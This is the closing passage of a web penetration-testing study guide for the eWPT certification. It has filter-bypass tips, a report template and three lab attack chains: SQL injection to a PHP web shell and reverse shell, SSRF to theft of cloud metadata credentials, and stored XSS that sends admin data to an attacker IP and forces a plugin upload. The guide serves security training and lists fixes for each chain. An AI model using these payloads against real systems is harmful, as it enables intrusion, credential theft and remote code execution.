  • XSS bypass: event handlers, <svg>, no-quote payloads, String.fromCharCode, eval(atob()), CSP gaps (JSONP / allow-listed CDN).

  • General WAF: vary case/encoding, HTTP parameter pollution (id=1&id=2'), chunked/whitespace tricks, null bytes, uncommon-but-valid syntax. Run wafw00f first to know the WAF. Key idea: a blocked payload ≠ no vuln — re-encode/obfuscate; the flaw usually persists behind the filter.


25. Reporting (the deliverable)

1. Executive Summary   — business risk & posture in plain language (for management)
2. Scope & Methodology — targets, timeframe, OWASP-aligned approach
3. Findings            — per finding: Title, Severity (CVSS), URL/Endpoint/Param,
                         Description, Impact, PoC (request + payload + screenshot),
                         Steps to Reproduce, Remediation
4. Attack Narrative    — how findings CHAINED into real impact (data/shell/admin)
5. Remediation Summary — prioritized fix list
6. Appendices          — raw requests/responses, tool output, host/endpoint tables

Tips: severity-rank; each finding needs a repeatable PoC + evidence + concrete fix; show impact (cookie theft/admin action, not a bare alert(1)); write the exec summary for management and findings for engineers; screenshot everything as you go — you can't reproduce after the clock stops.


26. Worked Attack Chain #1 — SQLi → admin → upload → RCE

Authorized/lab. Target http://shop.local.

  1. Recon: whatweb → Apache/PHP/MySQL; gobuster finds /product.php?id=, /admin/, /uploads/, /backup.zip.

  2. SQLi: id=1' → error; ORDER BY 5 ok; id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -admin:5f4dcc3b5aa765d61d8327deb882cf99.

  3. Crack: hashcat -m 0 hash.txt rockyou.txtadmin:password; log in to /admin/.

  4. Upload → shell: avatar upload checks Content-Type only → upload shell.php (body <?php system($_GET['c']);?>) as image/jpeg/uploads/shell.php.

  5. RCE + loot: curl "http://shop.local/uploads/shell.php?c=id"; reverse shell (nc -lvnp 443); read config.php for DB creds. Chain: discovery → error-based SQLi (no prepared statements) → cracked weak MD5 → Content-Type-only upload → web shell/RCE → secrets. Each fix breaks a link: parameterized queries, strong hashing, validate uploads by content + store outside web root.


27. Worked Attack Chain #2 — Blind SSRF → cloud metadata → account takeover

Authorized/lab. An "import avatar from URL" feature fetches server-side.

  1. Confirm blind SSRF: avatar_url=http://<collab>.oastify.com/ → Burp Collaborator shows a DNS/HTTP callback.

  2. Internal recon: compare avatar_url=http://127.0.0.1:8080/ vs :22/ (timing/size) → map internal reachability.

  3. Cloud metadata (AWS): avatar_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role → if fetched content is stored/echoed as the avatar (or leaked in an error), you exfil temporary AWS creds (ASIA…).

  4. Use creds: export them; aws s3 ls → the app's bucket holds a user-data export / reset-token store → account takeover of arbitrary users → escalate to admin.

  5. (blind-only variant) use gopher to hit an internal unauthenticated service, or read /latest/user-data for secrets. Chain: URL-fetch feature → blind SSRF → internal recon → IMDS → AWS creds → S3 data → account/admin takeover. Fixes: allow-list fetch destinations, block link-local ranges, IMDSv2, don't echo fetched content, least-priv instance role.


28. Worked Attack Chain #3 — Stored XSS → admin session → CSRF → RCE

Authorized/lab. A support-ticket app: users file tickets that admins read in a dashboard.

  1. Find stored XSS: the ticket "message" field renders unsanitized in the admin view. Submit a ticket whose body is:

    <script>fetch('/admin/users',{credentials:'include'})               // runs in the admin's browser  .then(r=>r.text()).then(d=>new Image().src='http://10.10.14.2/x?'+btoa(d));</script>
    
  2. Admin triggers it: when the admin opens the ticket, the script runs as the admin → exfiltrates admin-only data / the admin's CSRF token to your server.

  3. Forge a privileged action (CSRF via the XSS): with the admin's session + CSRF token, the same script calls an admin endpoint — e.g., enable a plugin/theme editor or create a new admin:

    <script>fetch('/admin/csrf').then(r=>r.text()).then(t=>  fetch('/admin/plugins/upload',{method:'POST',credentials:'include',    headers:{'X-CSRF':t},body: myMaliciousPluginFormData}));</script>
    
  4. RCE: the uploaded plugin/theme (or the enabled code editor) executes PHP on the server → web shell → reverse shell (nc -lvnp 443). Chain: stored XSS in user input → executes in an admin session → steals token → CSRF-forced admin action (malicious plugin/theme) → RCE. Fixes (each breaks a link): output-encode/sanitize ticket content + CSP, HttpOnly cookies, per-request CSRF tokens + SameSite, disable the in-app file/plugin editor, and don't run uploaded code.


29. Tooling Quick Reference & Glossary

Core toolset:

Proxy/manual : Burp Suite (Proxy/Repeater/Intruder/Sequencer/Autorize/Param Miner/Collaborator/Turbo Intruder/HTTP Request Smuggler), OWASP ZAP
Recon        : whatweb, wafw00f, subfinder/amass, crt.sh, gobuster/ffuf/feroxbuster, git-dumper
Injection    : sqlmap, commix (cmd), tplmap (SSTI), NoSQLMap
Payloads/ref : PayloadsAllTheThings, SecLists, PortSwigger Web Security Academy, HackTricks, OWASP WSTG
Auth/JWT     : hydra, ffuf, jwt_tool, hashcat
XXE/Deser    : ysoserial (Java), phpggc (PHP)
API/CMS      : wpscan, joomscan, droopescan, GraphQL introspection
Serve/catch  : python3 -m http.server 80 ; nc -lvnp 443 ; Burp Collaborator (OOB)

Glossary:

  • WSTG / OWASP Top 10 / API Top 10 — the canonical web/API risk references.

  • IDOR / BOLA — accessing another object by changing its identifier (broken object-level auth).

  • SSTI / XXE / SSRF / CSRF / CORS — template injection / XML external entity / server-side request forgery / cross-site request forgery / cross-origin resource sharing.

  • LFI / RFI — local / remote file inclusion (→ often RCE).

  • Web shell — uploaded script giving command execution via the web server.

  • Request smuggling (CL.TE/TE.CL) — front/back-end request-boundary desync.

  • IMDS — cloud instance metadata service (SSRF target → temp creds).

  • Gadget chain — classes abused during insecure deserialization to reach code execution.

  • Attack narrative — the chained engagement story in the report (the graded centerpiece).


End of guide. All payloads/commands are for authorized web apps only. eWPT is graded on methodology, demonstrated impact, and a clear professional report — proxy through Burp, screenshot as you go, and let the attack narrative tell the chain.

Leave a heart if you found this helpful

Comments

Sign in to leave a comment